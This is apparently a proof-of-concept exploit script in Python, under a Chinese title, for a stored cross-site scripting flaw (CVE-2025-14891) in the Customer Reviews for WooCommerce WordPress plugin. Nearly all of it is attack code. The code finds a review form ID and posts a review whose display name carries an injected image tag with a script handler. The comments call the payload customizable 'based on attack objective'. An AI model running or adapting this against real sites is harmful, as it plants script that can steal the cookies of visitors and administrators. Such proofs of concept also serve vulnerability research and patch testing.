CVE-2025-14891 WordPress Customer Reviews for WooCommerce存储型XSS漏洞

import requests import re # CVE-2025-14891 PoC - Stored XSS in Customer Reviews for WooCommerce # Target: WordPress site with Customer Reviews for WooCommerce plugin <= 5.93.1 def get_form_id(target_url, proxies=None): """Extract form ID from the reviews form page""" # Search for form IDs in page source response = requests.get(target_url, proxies=proxies, timeout=10) form_id_pattern = re.compile(r'cr-form-id[\'"\s]*:[\'"\s]*(\d+)') match = form_id_pattern.search(response.text) if match: return match.group(1) # Alternative pattern form_id_pattern2 = re.compile(r'name="formId"[^>]*value="(\d+)"') match = form_id_pattern2.search(response.text) if match: return match.group(1) return None def exploit_stored_xss(target_url, form_id, attacker_payload, proxies=None): """Exploit the stored XSS vulnerability via AJAX endpoint""" ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # XSS payload - can be customized based on attack objective xss_payload = '<img src=x onerror=alert(document.cookie)>' data = { 'action': 'cr_submit_review', # AJAX action endpoint 'formId': form_id, 'displayName': xss_payload, # Vulnerable parameter 'reviewText': 'Test review for CVE-2025-14891', 'rating': '5' } headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'X-Requested-With': 'XMLHttpRequest' } try: response = requests.post(ajax_url, data=data, headers=headers, proxies=proxies, timeout=10) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response: {response.text}") if 'success' in response.text.lower() or response.status_code == 200: print("[+] XSS payload submitted successfully!") print(f"[+] Payload will execute when review is displayed.") else: print("[-] Attack may have failed, check form ID or site configuration") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") # Usage example if __name__ == "__main__": target = "https://example-wordpress-site.com" form_id = "123" # Replace with actual form ID exploit_stored_xss(target, form_id, None)